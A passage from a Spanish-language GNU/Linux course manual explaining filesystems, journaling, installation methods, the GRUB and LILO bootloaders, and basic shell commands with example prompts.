Basta con descargar la imagen ISO de una distribución, grabarla en un CD o DVD e
iniciar la computadora utilizando dicho disco. Algunas distribuciones muy utilizadas
son Suse, Debian, Ubuntu o loDo (esta última es la más común en la plataforma
PlayStation 3). La mayoría de las distribuciones son gratuitas y pueden conseguirse
fácilmente a través de las páginas web de sus fabricantes o a través de archivos
torrent.

Diplomado de GNU/Linux
16
Fundación Código Libre Dominicano
http://www.codigolibre.org

Existen versiones GNU/Linux para máquinas x86 (abarca desde computadoras 386, Pentium
I, Celeron, hasta Pentium IV), también para x86-64, arquitectura de 64 bits de AMD
(copiada por intel y rebautizada como em64t), y para procesadores PowerPC (PPC) de las
computadoras Apple Macintosh.

Sobre el particionamiento:
En Linux hay muchos tipos de particiones entre las que podemos mencionar ext2, ext3,
ext4, swap y ReiserFS. Esto por solo mencionar algunas de las más importantes.

ext2 (second extended filesystem o "segundo sistema de archivos extendido") es un


sistema de archivos para el kernel de Linux. Fue diseñado originalmente por Rémy Card.
La principal desventaja de ext2 es que no implementa el registro por diario (en inglés
Journaling) que sí implementa su sucesor ext3, el cual es totalmente compatible.

ext3 (third extended filesystem o "tercer sistema de archivos extendido") es un


sistema de archivos con registro por diario (journaling). Es el sistema de archivo más
usado en distribuciones Linux.
La principal diferencia con ext2 es el registro por diario. Un sistema de archivos ext3
puede ser montado y usado como un sistema de archivos ext2. Otra diferencia importante
es que ext3 utiliza un árbol binario balanceado (árbol AVL) e incorpora el asignador de
bloques de disco Orlov.

Journaling
Para hablar de Journaling antes habría que mencionar esta técnica llamada Write-ahead
logging(WAL) o Registro de escritura anticipada.
En informática, el registro de escritura anticipada (WAL) es una familia de técnicas
que proporcionan atomicidad y durabilidad (dos de las propiedades ACID) en los sistemas
de base de datos.

En un sistema que utiliza WAL, todas las modificaciones se escriben en un registro


antes de su aplicación.
Por lo general, información sobre "rehacer" y "deshacer" se almacena en el registro.
El propósito de esta se puede ilustrar con un ejemplo. Imagine que un programa está
llevando a cabo alguna operación en un computador y se apaga por causa de la energía
eléctrica. Al reiniciar, el programa necesita saber si la operación se realizo
correctamente, o tuvo éxito a medias. Si un archivo de registro se utiliza, el programa
podría ver este registro o "log" y comparar lo que se supone debió hacer cuando perdió
electricidad contra lo que se hizo. Sobre la base de esta comparación, el programa
podría decidir deshacer lo que había comenzado, completar lo que había empezado, o
mantener las cosas como son.
WAL permite la actualización de una base de datos "in-place". Otra forma de implementar
actualizaciones atómico es con la paginación sombra, que no usa "in-place". La
principal ventaja de hacer cambios "in-place" es que reduce la necesidad de modificar
los índices y listas de bloqueo.

ARIES es un algoritmo popular en la familia WAL.


En los sistemas de archivos, WAL es a menudo llamado "registro de diario" o
"Journaling".
El journaling es un mecanismo por el cual un sistema informático puede implementar

Diplomado de GNU/Linux
17
Fundación Código Libre Dominicano
http://www.codigolibre.org

transacciones. También se le conoce como «registro por diario».


Se basa en llevar un journal o registro de diario en el que se almacena la información
necesaria para restablecer los datos afectados por la transacción en caso de que ésta
falle.

El procedimiento es básicamente el siguiente:


1. Se bloquean las estructuras de datos afectadas por la transacción para que ningún
otro proceso pueda modificarlas mientras dura la transacción.
2. Se reserva un recurso para almacenar el journal. Por lo general suelen ser unos
bloques de disco, de modo que si el sistema se para de forma abrupta (corte eléctrico,
avería, fallo del sistema operativo...) el journal siga disponible una vez reiniciado
el sistema.
3. Se efectúan una a una las modificaciones en la estructura de datos. Para cada una:
a. Se apunta en el journal como deshacer la modificación y se asegura de que esta
información se escribe físicamente en el disco.
b. Se realiza la modificación.
c. Si en cualquier momento se quiere cancelar la transacción se deshacen los cambios
uno a uno leyéndolos y borrándolos del journal.
4. Si todo ha ido bien, se borra el journal y se desbloquean las estructuras de datos
afectadas.

Las aplicaciones más frecuentes de los sistemas de journaling se usan para implementar
transacciones de sistemas de bases de datos y, más recientemente, para evitar la
corrupción de las estructuras de datos en las que se basan los sistemas de archivos
modernos.

En el caso concreto de los sistemas de archivos, el journaling se suele limitar a las


operaciones que afectan a las estructuras que mantienen información sobre:
* Estructuras de directorio.
* Bloques libres de disco.
* Descriptores de archivo (tamaño, fecha de modificación...)

El hecho de que no se suela implementar el journaling de los datos concretos de un


archivo suele carecer de importancia, puesto que lo que persigue el journaling de
sistemas de archivos es evitar los engorrosos y largos chequeos de disco que efectúan
los sistemas al apagarse bruscamente, ya que el sistema al arrancar solo deberá
deshacer el journal para tener un sistema coherente de nuevo.

Niveles del Journaling


Hay tres niveles posibles de Journaling (registro por diario)
Diario (riesgo bajo)
Los meta-datos y los archivos de contenido son copiados al diario antes de ser llevados
al sistema de archivos principal. Como el diario está en el disco continuamente puede
mejorar el rendimiento en ciertas ocasiones. En otras ocasiones el rendimiento es peor
porque los datos deben ser escritos dos veces, una al diario y otra a la parte
principal del sistema de archivos.

Pedido (riesgo medio)


Solo los metadatos son registrados en el diario, los contenidos no, pero está asegurado
que el contenido del archivo es escrito en el disco antes de que el meta-dato asociado
se marque como transcrito en el diario. Es el sistema por defecto en la mayoría de las

Diplomado de GNU/Linux
18
Fundación Código Libre Dominicano
http://www.codigolibre.org

distribuciones de Linux. Si hay un bajón de tensión o kernel Panic cuando el archivo se


está escribiendo o está empezando, el diario indicará que el nuevo archivo o el intento
no ha sido pasado, por lo que sera purgado por el proceso de limpiado.

Reescritura (riesgo alto)


Solo los meta-datos son registrados en el diario, el contenido de los archivos no. Los
contenidos pueden estar escritos antes o después de que el diario se actualice. Como
resultado, los archivos modificados correctamente antes de una ruptura pueden volverse
corruptos. Por ejemplo, un archivo pendiente de ser marcado en el diario como mayor de
lo que actualmente es, convirtiendo en basura al final de la comprobación. Las
versiones antiguas de los archivos pueden aparecer inesperadamente después de una
recuperación de diario. La carencia de sincronización entre los datos y el diario es
rápidamente subsanada en muchos casos. JFS usa este nivel de journaling, pero se
asegura de que cualquier basura es borrada al reiniciar

ext4 (fourth extended filesystem o "cuarto sistema de archivos extendido") es un


sistema de archivos con registro por diario (en inglés Journaling), anunciado el 10 de
octubre de 2006 por Andrew Morton, como una mejora compatible de ext3. El 25 de
diciembre de 2008 se publicó el kernel de Linux 2.6.28, que elimina ya la etiqueta de
"experimental" de código de ext4.
Las principales mejoras son:
Soporte de volúmenes de hasta 1024 PiB.
Soporte añadido de extent.
Menor uso del CPU.
Mejoras en la velocidad de lectura y escritura.

ReiserFS es un sistema de archivos de propósito general, diseñado e implementado por


un equipo de la empresa Namesys, liderado por Hans Reiser. Actualmente es soportado por
Linux y existen planes de futuro para incluirlo en otros sistemas operativos.
ReiserFS ofrece funcionalidades que pocas veces se han visto en otros sistemas de
archivos:
Journaling. Esta es la mejora a la que se ha dado más publicidad, ya que previene el
riesgo de corrupción del sistema de archivos.
Reparticionamiento con el sistema de archivos montado y desmontado. Podemos aumentar el
tamaño del sistema de archivos mientras lo tenemos montado y desmontado (online y
offline). Para disminuirlo, únicamente se permite estando offline (desmontado). Namesys
nos proporciona las herramientas para estas operaciones, e incluso, podemos usarlas
bajo un gestor de volúmenes lógicos como LVM o EVMS.
Tail packing, un esquema para reducir la fragmentación interna.

Btrfs
Btrfs (B-tree FS o normalmente pronunciado "Butter FS") es un sistema de archivos copy-
on-write anunciado por Oracle Corporation para Linux.
Su objetivo es sustituir al actual sistema de archivos ext3, eliminando el mayor número
de sus limitaciones, en especial con el tamaño máximo de los archivos; además de la
adopción de nuevas tecnologías no soportadas por ext3. Se afirma también que se
"centrará en la tolerancia a fallos, reparación y fácil administración".
En febrero de 2009, Btrfs está siendo desarrollado intensivamente y sólo está
disponible para ser testeado. Btrfs v0.19 fue publicado en junio de 2009, como software
libre bajo la GPL. Btrfs v1.0 (con el formato de disco finalizado) estaba previsto para
ser publicado a finales de 2008, pero tras sobrepasarse esa fecha no se ha vuelto a dar

Diplomado de GNU/Linux
19
Fundación Código Libre Dominicano
http://www.codigolibre.org

una fecha para la versión definitiva.


Theodore Ts'o, desarrollador de los sistemas ext3 y ext4, dice que Btrfs "tiene algunas
de las ideas de diseño de Reiser4" y que "el sistema de archivos tiene soporte para
algunas características avanzadas que están diseñadas para incorporarse en ZFS".

Características
Las características finales presentadas son:
•Empaquetado eficiente en espacio de archivos pequeños y directorios indexados
•Asignación dinámica de inodos (no se fija un número máximo de archivos al crear el
sistema de archivos)
•Snapshots escribibles y snapshots de snapshots
•Subvolúmenes (raíces del sistema de archivos internas separadas)
•Mirroring y Stripping a nivel de objeto
•Comprobación de datos y metadatos (alta seguridad de integridad)
•Compresión
•Copy-on-write del registro de todos los datos y metadatos
•Gran integración con device-mapper para soportar múltiples dispositivos, con varios
algoritmos de RAID incluidos
•Comprobación del sistema de archivos sin desmontar y comprobación muy rápida del
sistema de archivos desmontado
•Copias de seguridad incrementales eficaces y mirroring del sistema de archivos
•Actualización desde ext3 a Btrfs, y reconversión a ext3 al momento de la actualización
•Modo optimizado para SSD (activado a través de una opción de montaje)
•Desfragmentación sin desmontar

Swap En informática, el espacio de intercambio es una zona del disco (un archivo o
partición) que se usa para guardar las imágenes de los procesos que no han de
mantenerse en memoria física. A este espacio se le suele llamar swap, del inglés
"intercambiar".
La mayoría de los sistemas operativos modernos poseen un mecanismo llamado memoria
virtual, que permite hacer creer a los programas que tienen más memoria que la
disponible realmente; por ejemplo, 4 Gb en un ordenador de 32 bits. Como en realidad no
se tiene físicamente toda esa memoria, algunos procesos no podrán ser ubicados en la
memoria RAM.
En este caso es cuando es útil el espacio de intercambio: el sistema operativo puede
buscar un proceso poco activo, y moverlo al área de intercambio (el disco duro) y de
esa forma liberar la memoria principal para cargar otros procesos. Mientras no haga
falta, el proceso extraído de memoria puede quedarse en el disco, ya que ahí no gasta
memoria física. Cuando sea necesario, el sistema vuelve a hacer un intercambio,
pasándolo del disco a memoria RAM. Es un proceso lento (comparado con usar sólo la
memoria RAM), pero permite dar la impresión de que hay más memoria disponible.

Un particionamiento básico en GNU/Linux puede constar de 2 particiones: una partición


swap y la partición principal “/”. La partición swap, como su significado lo indica
(Intercambio) sirve para que cuando la memoria RAM se llene, deposite el contenido en
la partición swap. La partición “/” que es la principal, también llamada [ROOT] o raíz,
contiene todos los programas de lugar que instalas con la distribución.

También podemos tener un particionamiento de esta forma.


Crear la partición root (/), swap y /home. Para la primera basta con 10 Gb, la
segunda idealmente del doble de tu RAM (si tienes 1 GB o más, déjala en 1GB), y la

Diplomado de GNU/Linux
20
Fundación Código Libre Dominicano
http://www.codigolibre.org

tercera con el resto del espacio (ahí irían tus documentos).

0.7 Métodos de Instalación


Estos métodos todos son posibles en muchas distribuciones pero específicamente en
RedHat y CentOS.

CD-ROM
Si posee un lector de CD-ROM y tiene los CD-ROMs de distribución, puede utilizar este
método.(Este es soportado en todas las distribuciones)

Disco duro
Si ha copiado las imágenes ISO de Red Hat Enterprise Linux en el disco duro local,
puede utilizar este método. Necesitará un disquete o CD-ROM de arranque.

NFS
Si está realizando la instalación desde un servidor NFS utilizando imágenes ISO o una
imagen réplica de Red Hat Enterprise Linux, CentOS o Debian, entre otras, puede
utilizar este método. Necesitará un CD-ROM de arranque (utilice la opción de arranque
linux askmethod). (Este es soportado en la mayoría)

FTP
Si está realizando la instalación directamente desde un servidor FTP, utilice este
método. Necesitará un CD-ROM de arranque (use la opción de arranque linux askmethod).
(Este es soportado en la mayoría)

HTTP
Si está realizando la instalación directamente desde un servidor Web HTTP, utilice este
método. Necesitará un CD-ROM de arranque (use la opción de arranque linux askmethod).

0.8 Gestores de Arranque


Los más comunes son Lilo y Grub, siendo el último el reemplazo definitivo del primero.

En computación, el GRand Unified Bootloader (GRUB) es un gestor de arranque múltiple


que se usa comúnmente para iniciar dos o más sistemas operativos instalados en un mismo
ordenador.
Técnicamente, un gestor multiarranque es aquel que puede cargar cualquier archivo
ejecutable y que contiene un archivo de cabecera multiarranque en los primeros 8 KB del
archivo. Tal cabecera consiste en 32 bits de un número “mágico”, 32 de indicadores
(flags), otros 32 de un número “mágico”, seguidos de información sobre la imagen
ejecutable.
Una de las características más interesantes es que no es necesario instalar una
partición nueva o un núcleo nuevo, pudiendo cambiar todos los parámetros en el arranque
mediante la Consola de GRUB.
Mientras los gestores de arranque convencionales tienen una tabla de bloques en el
disco duro, GRUB es capaz de examinar el sistema de archivos.
Actualmente, soporta los siguientes sistemas de archivos:
ext2/ext3 usado por los sistemas UNIX y su variante GNU/Linux
ReiserFS.
XFS de SGI.
UFS.

Diplomado de GNU/Linux
21
Fundación Código Libre Dominicano
http://www.codigolibre.org

VFAT, como FAT16 y FAT32 usados por Windows 9.x


NTFS usado por los sistemas Windows NT/2000/XP/VISTA
JFS de IBM.

Características de GRUB
• Reconoce varios formatos ejecutables.
• Soporte para núcleos que no son Multiarranque: principalmente FreeBSD, NetBSD,
OpenBSD y Linux.
• Carga de múltiples módulos: carácterística del Multiarranque.
• Carga de un archivo de configuración: archivo simple de texto con órdenes
predeterminadas.
• Presenta una interfaz de menú con un tiempo de espera programable.
• Tiene una interfaz de comandos flexible accesible desde el menú.
• Soporte para varios sistemas de archivos: soportados BSD FFS, DOS FAT16 y FAT32,
Minix fs, Linux ext2fs, ext3fs, ReiserFS, JFS, XFS, and VSTafs
• Soporte para descompresión automática con gzip: Imagine cargar módulos del núcleo
que están comprimidos.
• Acceso a los datos en cualquiera de los dispositivos instalados.
• Independencia de las traducciones de geometría del disco.
• Detecta toda la RAM instalada.
• Admite el modo LBA (Dirección de Bloque Lógico): GRUB detecta automáticamente si
el modo LBA está disponible, en modo LBA GRUB puede acceder a todo el disco.
• Soporte para arranque a través de la red usando el protocolo TFTP.
• Soporte para terminales remotas: por el momento implementado el soporte para
terminales a través del puerto de serie.

Terminología de GRUB
GRUB utiliza diferentes términos para hacer referencia a los dispositivos.

Nombres de dispositivos
GRUB usa las siguientes reglas para nombrar a los dispositivos y las particiones:
• Tanto los discos duros IDE o SCSI empiezan con hd, las unidades de disquete
inician con fd.
• Los nombres de los dispositivos deben estar encerrados entre paréntesis.
• (hd0) Así identificamos el disco duro primario, encerrado entre paréntesis. Esto
es importante para indicarle a GRUB que configure el MBR del disco duro primario,
si colocamos (hd3) estaremos especificando el cuarto disco duro.
Veamos otro ejemplo para señalar a un disco duro:
(hd0,1) => {tipo de dispositivo}{Número de dispositivo}, {Número de partición}
• hd significa que es un disco duro (hard disk).
• El número 0 se refiere al número de la unidad, empezando a contar desde cero, así
que este es el dispositivo primario.
• El número 1 se refiere a la 2º partición del disco duro.

Nombres de archivos
Para poder especificar la ubicación de un archivo desde GRUB se hace así:
(hd0,0)/vmlinuz = /dev/hda1/vmlinuz
Esto especifica un archivo llamado vmlinuz en la primera partición del disco duro
primario.

Diplomado de GNU/Linux
22
Fundación Código Libre Dominicano
http://www.codigolibre.org

Interfaces de GRUB
GRUB dispone de tres interfaces, cada una permite arrancar el kernel de Linux u otros
sistemas operativos.
a) Interfaz de menú
Cuando GRUB se instala por defecto, lo primero que vemos al reiniciar la computadora es
una lista de opciones para seleccionar, esa es la interfaz de menú. Presionando la
tecla [e] se podrá ingresar a la interfaz del editor de menú de entrada o si presiona
la [c] cargará la interfaz de línea de comandos.
b) Interfaz del editor de menú de entrada
Presionando la tecla [e] desde el menú del gestor de arranque se accede a esta
interfaz, pudiendo alterar las líneas de comando antes de arrancar el sistema
operativo. Tiene algunos comandos como:
• la tecla [o] permite agregar una línea nueva después de la línea actual,
• la tecla [O] inserta una línea nueva después de la línea actual,
• la tecla [e] te sirve para modificar el contenido de una línea y la tecla [d] te
sirve para borrar la línea.
La tecla [b] ejecuta los comandos y arranca el sistema operativo. La tecla [Esc] omite
los cambios y el usuario vuelve a la interfaz de menú estándar. Con la tecla [c] se
carga la interfaz de línea de comandos.
c) Interfaz de línea de comandos
Es la interfaz que proporciona mayor control. Se puede escribir cualquier comando
seguido de ENTER para ejecutarlo. Esta interfaz cuenta con algunas funciones similares
a las de shell avanzadas, incluyendo el uso de [Tab] para autocompletar, y las
combinaciones de teclas con [Ctrl] al escribir comandos, tales como [Ctrl]-[a] para
moverse al comienzo de la línea y [Ctrl]-[e] para moverse al final. Además, las teclas
de flecha, [Inicio], [Fin], y [Supr] funcionan de forma similar al bash shell.

Proceso de inicio de GRUB.


El BIOS busca un dispositivo de inicio (como el disco duro) y pasa el control al
registro maestro de inicio (Master Boot Record, MBR, los primeros 512 bytes del disco
duro).

1.El BIOS busca un dispositivo de inicio (como el disco duro) y de ahí pasa el control
al registro maestro de inicio conocido como Master Boot Record o MBR, que consiste en
los primeros 512 bytes del disco duro y que forman la fase 1 de GRUB.
2.La fase 1 de GRUB carga la siguiente fase de GRUB, ubicada físicamente en cualquier
parte del disco duro. La fase 1 puede cargar ya sea la fase 1.5 o, directamente, la 2.
3.La fase 1.5 de GRUB, ubicada en los siguientes 30 kilobytes del disco duro, carga la
fase 2. En GRUB 2, esta fase ha dejado de existir.
4.La fase 2 de GRUB (cargada por las fases 1 ó 1.5) recibe el control, y presenta al
usuario el menú de inicio.
5.GRUB carga el kernel seleccionado por el usuario, en la memoria y le pasa el control.

Mientras los gestores de arranque convencionales tienen una tabla de bloques en el


disco duro, GRUB es capaz de examinar el sistema de archivos. Actualmente, soporta los
siguientes sistemas de archivos:
• ext2/ext3/ext4 (Grub2) usado por los sistemas UNIX y su variante libre GNU/Linux.
• ReiserFS.
• XFS de SGI (aunque puede provocar problemas).
• UFS.

Diplomado de GNU/Linux
23
Fundación Código Libre Dominicano
http://www.codigolibre.org

• VFAT, como FAT16 y FAT32 usados por Windows 9.x


• NTFS usado por los sistemas Windows NT (a partir de Windows NT v.3.51).
• JFS de IBM.
• HFS de Apple Inc.
Otros ejemplos de cargadores multiarranque son LILO y SYSLINUX.
GRUB soporta 14 colores de fondo, siendo el negro el color por defecto. Algunas
distribuciones de GNU/Linux que incluyen GRUB frecuentemente utilizan fondos
personalizados con el logotipo de dicha distribución. Los usuarios de GRUB pueden
también hacer y colocar sus propios fondos.

LILO
LILO es un acrónimo de LInux LOader (cargador) y ha sido usado para arrancar linux en
sistemas x86 por muchos años, muchos prefieren usar LILO porque es más familiar.

LILO y el proceso de arranque de x86


LILO se carga así mismo en la memoria en dos etapas.
1. La etapa 1, donde el gestor de arranque primario se lee en la memoria por la BIOS
desde el MBR. Se carga en los primeros 512 bytes dentro del MBR, su función es
cargar la etapa 2 del gestor de arranque y pasarle la información de la geometría
del disco.
2. La etapa 2, donde el gestor de arranque secundario se lee en memoria. El gestor
de arranque muestra una pantalla que permite seleccionar el kernel del sistema
operativo Linux que desee arrancar, esta etapa carga el kernel y el initrd.
Para acceder a la línea de comandos boot:, presione [Ctrl]+[X] ó [TAB].

Diferencias entre LILO y GRUB


LILO funciona de forma parecida a GRUB a diferencia de:
• No posee ninguna interfaz del comando interactiva: la línea de comandos de Lilo
no es interactiva y sólo permite comandos con argumentos.
• Almacena información sobre la localización del kernel o si otro sistema operativo
se debe cargar en el MBR: Cada cambio que se haga debe ser reescrito por lilo
debiendo ejecutar: /sbin/lilo –v –v. Si no se tiene una configuración correcta el
sistema no podrá arrancar.
• No puede leer las particiones ext2.
Archivo de Configuración /etc/lilo.conf
Lilo se configura por medio del archivo /etc/lilo.conf, y cada que se realice un cambio
deberá ejecutarse el comando /sbin/lilo para escribir los cambios al MBR.

Cambiar los niveles de ejecución en tiempo de arranque


Tanto LILO como GRUB permiten cambiar los niveles de ejecución en tiempo de arranque.
LILO
• Presione [Ctrl]-[X] o [TAB] para acceder a la línea de comandos, luego escriba:
linux<runlevel-number>

<runlevel-numer> puede ser de 1 a 5, o también puede usar las palabras single o


emergency.
GRUB
• En el menú de arranque seleccionar la entrada correspondiente al sistema Linux,
luego pulsar la tecla [e] para modificarla.

Diplomado de GNU/Linux
24
Fundación Código Libre Dominicano
http://www.codigolibre.org

• Situarse en la línea del kernel y pulse [e] para modificarla.


• Añadir al final de la línea Kernel un número (desde 1 a 5), o las palabras single
o emergency y presione [ENTER].
• Volverá a la pantalla de GRUB con la información sobre el kernel. Pulse [b] para
arrancar el sistema.

0.9 Practica Básico Capitulo 0

1.0 Comandos GNU / UNIX


En este capitulo abarcaremos los comandos básicos para manejarnos en el shell, estos
son algunos de ellos:
cd, ls, file, cat, mkdir, mv, rm, touch, more, less, wc, head, less, cp, diff, find,
locate

1.1 Iniciando Linux


GNU/Linux esta estructurado con un kernel pequeño y un número de programas utilitarios
montados encima del kernel. El núcleo maneja los recursos de la computadora, tal como
el procesador y la memoria, y en esto debe asegurarse de que cada quien que trata de
utilizar éstos recursos es dado una oportunidad apropiada de tiempo de acceso.

El kernel se carga en memoria cuando Linux se inicia y permanece en memoria hasta que
el sistema se descarga por completo. Se diseña para ser lo más pequeño que sea posible,
permitiendo así que la memoria restante sea compartida entre todos los programas que se
ejecutan en el sistema.

Los programas utilitarios proporcionan manejo de archivo, supervisión del sistema,


desarrollo de aplicaciones, manejo de usuario, y comunicación de red. Puede haber más
de 2.000 utilidades en un sistema de GNU/Linux.

1.2 Que es el shell


Intérprete de órdenes, Intérprete de mandatos, Intérprete de línea de mandatos,
Intérprete de comandos, Terminal, Consola, Shell ó su acrónimo en idioma inglés CLI por
Command line interface, es un programa informático que actúa como Interfaz de usuario
para comunicar al usuario con el sistema operativo mediante una ventana que espera
ordenes escritas por el usuario en el teclado (por ej. lpr CARTA.TXT), los interpreta y
los entrega al sistema operativo para su ejecución. La respuesta del sistema operativo
es mostrada al usuario en la misma ventana. A continuación, El programa shell queda
esperando más instrucciones. Se interactúa con la información de la manera más sencilla
posible, sin gráficas, solo el texto crudo.

bash es un shell de Unix (intérprete de órdenes de Unix) escrito para el proyecto GNU.
Su nombre es un acrónimo de bourne-again shell (otro shell bourne) — haciendo un juego
de palabras (born-again significa renacimiento) sobre el Bourne shell (sh), que fue uno
de los primeros intérpretes importantes de Unix. Hacia 1978 el intérprete Bourne era el
intérprete distribuido con el Unix Version 7. Stephen Bourne, por entonces investigador
de los Laboratorios Bell, escribió el intérprete Bourne original. Brian Fox escribió el
intérprete bash en 1987. En 1990, Chet Ramey se convirtió en su principal
desarrollador. bash es el intérprete predeterminado en la mayoría de sistemas
GNU/Linux, además de Mac OS X Tiger, y puede ejecutarse en la mayoría de los sistemas

Diplomado de GNU/Linux
25
Fundación Código Libre Dominicano
http://www.codigolibre.org

operativos tipo Unix.

1.3 Comandos Básicos


A continuación veremos algunos ejemplos de cada uno de estos comandos para ilustrar
como se usan. Te recuerdo que Linux es sensible a minúsculas y mayúsculas, por lo que
debes tener pendiente si tu CAPSLOCK esta encendido en el teclado.
No solo los comandos son sensibles, sino también los archivos siendo “ls” diferente a
“LS” o a “Ls”.
Con los archivos toma en cuenta lo siguiente, el archivo “file.txt” es distinto a
“File.txt”. No importa donde este la mayúscula, con solo tenerla lo hace distinto.

1.4 cd, ls, file, cat, mkdir, mv, rm, touch, more, less, wc, head, less, cp,
diff, find, locate, date, cal, whoami, echo, clear, exit
Comando “cd”
Este comando te permite cambiar de directorio o ubicación.
zxguitar@zxlaptop:~$cd /
zxguitar@zxlaptop:/$
zxguitar@zxlaptop:~$cd /home
zxguitar@zxlaptop:/home$
zxguitar@zxlaptop:~$cd /etc
zxguitar@zxlaptop:/etc$

Nota: fíjate como cambia el “prompt” de acuerdo a como cambias de directorio. Recuerda
que Linux posee un sistema de archivos jerárquico y la “/” es la ubicación mas alta o
en otras palabras es el principio de la jerarquía. También te recuerdo que la
virgulilla(~) que ves en el prompt(zxguitar@zxlaptop:~$) indica que estas en tu
directorio HOME(/home/usuario) en mi caso seria (/home/zxguitar). Esto significa que si
estoy en este directorio(/etc/X11/xserver) y quiero cambiar a mi HOME, puedo hacerlo de
esta forma.

zxguitar@zxlaptop:/etc/X11/xserver$cd ~

o simplemente
zxguitar@zxlaptop:/etc/X11/xserver$cd

y volveré a mi home que se vería de esta forma


zxguitar@zxlaptop:~$

Comando “ls”
zxguitar@zxlaptop:~$ls
zxguitar@zxlaptop:~$ls -l /
zxguitar@zxlaptop:~$ls -R /etc

Nota: la opción “-l” te permite ver los atributos de los archivos y la opción “-R” te
permite ver los directorios recursivamente. Este comando tiene muchas opciones, pero
para fines de ejemplo solo tenemos estas.

Comando “clear”
jp@fcld:~$clear

Diplomado de GNU/Linux
26
Fundación Código Libre Dominicano
http://www.codigolibre.org

Nota: limpia la pantalla

Comando “exit”
jp@fcld:~$ exit

Nota: abandona la sesión actual

Comando “file”
zxguitar@zxlaptop:~$file /etc/passwd
/etc/passwd: ASCII text

Nota: el comando “file” te permite ver el tipo de archivo cuando lo usas, en el ejemplo
anterior, el archivo resulto ser un archivo de texto ASCII.

Comando “cat”
zxguitar@zxlaptop:~$cat /etc/passwd
zxguitar@zxlaptop:~$cat > archivo.txt
hola
[Presionar CTRL + D]

Nota: este comando te permite ver el contenido de un archivo, pero además, en el


segundo ejemplo, vemos que te permite crear un archivo. Al finalizar de escribir el
contenido presionamos CTRL + D, esto es para que guarde los cambios. Si no queremos que
se guarden, presionamos CTRL + C. los cambios no se guardaran, pero el archivo quedara
creado.

Comando “mkdir”
zxguitar@zxlaptop:~$mkdir prueba
zxguitar@zxlaptop:~$mkdir -p examen/practica/linux-basico

Nota: este comando permite crear un directorio. Como vemos en el 2do ejemplo la opción
“-p” permite crear subdirectorios al vuelo, si el directorio examen estuviera creado,
el comando sigue con el otro directorio que continua que en este caso seria el
directorio “practica”. También cabe aclarar que si el directorio examen no existiese,
el comando lo crearía.

Comando “mv”
zxguitar@zxlaptop:~$mv archivo.txt archivo2.txt
zxguitar@zxlaptop:~$mv archivo2.txt prueba/examen/

Nota: este comando cambia el nombre de un archivo, además mueve un archivo a otro lugar
o directorio.

Comando “rm”
zxguitar@zxlaptop:~$rm archivo.txt
zxguitar@zxlaptop:~$rm -rf prueba/

Nota: este comando borra un archivo. En el segundo ejemplo vemos que con la opción “-r”
significa recursivamente y la opción “-f” le indica al comando que obligue y elimine.
Esta combinación permite eliminar un directorio aunque tenga archivos dentro.

Diplomado de GNU/Linux
27
Fundación Código Libre Dominicano
http://www.codigolibre.org

Comando “touch”
zxguitar@zxlaptop:~$touch file.txt
zxguitar@zxlaptop:~$touch 01012000 file.txt

Nota: este comando te permite crear un archivo vacío, pero como en el segundo ejemplo,
lo elemental de esto es cambiar las fechas de creación, acceso y modificación de un
archivo.

Comando “more”
zxguitar@zxlaptop:~$more file.txt

Nota: este comando es un paginador, te permite ver un archivo por páginas, de 1 en 1.

Comando “less”
zxguitar@zxlaptop:~$less file.txt

Nota: este comando es un paginador, te permite ver un archivo y moverte dentro de el


por líneas o por paginas.

Comando “wc”
zxguitar@zxlaptop:~$wc file.txt
13 69 757 file.txt
zxguitar@zxlaptop:~$wc -l file.txt
13 file.txt
zxguitar@zxlaptop:~$wc -w file.txt
69 file.txt

Nota: este comando puede contar palabras, líneas y caracteres en un archivo.

Comando “head”
zxguitar@zxlaptop:~$head file.txt
zxguitar@zxlaptop:~$head -5 file.txt

Nota: este comando te permite ver las primeras 10 líneas de un archivo, la opción “-5”
especifica que son las primeras 5 líneas.

Comando “tail”
zxguitar@zxlaptop:~$tail file.txt
zxguitar@zxlaptop:~$tail -5 file.txt

Nota: este comando te permite ver las ultimas 10 líneas de un archivo, la opción “-5”
especifica que son las ultimas 5 líneas.

Comando “cp”
zxguitar@zxlaptop:~$cp file.txt archivo.txt
zxguitar@zxlaptop:~$cp /etc/passwd /home/zxguitar/
zxguitar@zxlaptop:~$cp -R /etc /home/zxguitar/copia/

Nota: este comando copia un archivo. En el primer ejemplo se hace una copia del archivo
“file.txt” con el nombre de “archivo.txt”. En el segundo ejemplo se copia el archivo
“passwd” al directorio /home/zxguitar. En el tercer ejemplo, se copia, recursivamente

Diplomado de GNU/Linux
28
Fundación Código Libre Dominicano
http://www.codigolibre.org

el directorio “etc” entero al directorio /home/zxguitar/copia/

Comando “diff”
zxguitar@zxlaptop:~$diff -a file.txt archivo.txt
zxguitar@zxlaptop:~$diff -i file.txt archivo.txt
zxguitar@zxlaptop:~$diff -w file.txt archivo.txt

Nota: este comando compara archivos, la opción “-a” hace que trate todos los archivos
como texto, la opción “-i” hace que ignore las mayúsculas y minúsculas, la opción “-w”
hace que ignore los espacios en blanco.

Comando “find”
zxguitar@zxlaptop:~$find /etc -name passwd -print
zxguitar@zxlaptop:~$find /home/zxguitar -name video.mpg -print

Nota: el comando find te permite buscar archivos, consta de muchísimas opciones, para
más información consultar las paginas man.

Comando “locate”
zxguitar@zxlaptop:~$locate file.txt
zxguitar@zxlaptop:~$updatedb

Nota: este comando te permite buscar archivos sin dar la ubicación, el comando
“updatedb” actualiza la base de datos de los archivos, esto es por si últimamente ha
copiado archivos nuevos, para que pueda hallarlos y es importante saber que para
ejecutar “updatedb” es necesario estar en usuario “root” porque este comando debe
acceder a directorios privilegiados.

Comando “date”
[jp@oraserv5 ~]$ date
[jp@oraserv5 ~]$ date +%F
[jp@oraserv5 ~]$ date +%D'-->'%F

Nota: Este comando tiene dos funciones: una es la de mostrar en pantalla la fecha del
sistema (en varios formatos, como veremos a continuación), la otra es la función de
configurar la hora del sistema, pero para que esta funcionalidad se cumpla, se debe
ejecutar el comando desde una sesión de root. La sintaxis de este comando es:
root@oraserv5:~# date -s "2 OCT 2011 18:00:00"

o también
root@oraserv5:~# date --set="2 OCT 2011 18:00:00"

también puedes usar la siguiente sintaxis:


root@oraserv5:~# date +%Y%m%d -s "20081128"

Para cambiar la hora:


root@oraserv5:~# date +%T -s "10:13:13"

Donde
• 10: Hora (hh)
• 13: Minutos (mm)

Diplomado de GNU/Linux
29
Fundación Código Libre Dominicano
http://www.codigolibre.org

• 30: Segundos (ss)

Usa %p que es el equivalente para AM o PM:


root@oraserv5:~# date +%T%p -s "6:10:30AM"
root@oraserv5:~# date +%T%p -s "12:10:30PM"

Comando “whoami”
[jp@oraserv5 ~]$ whoami

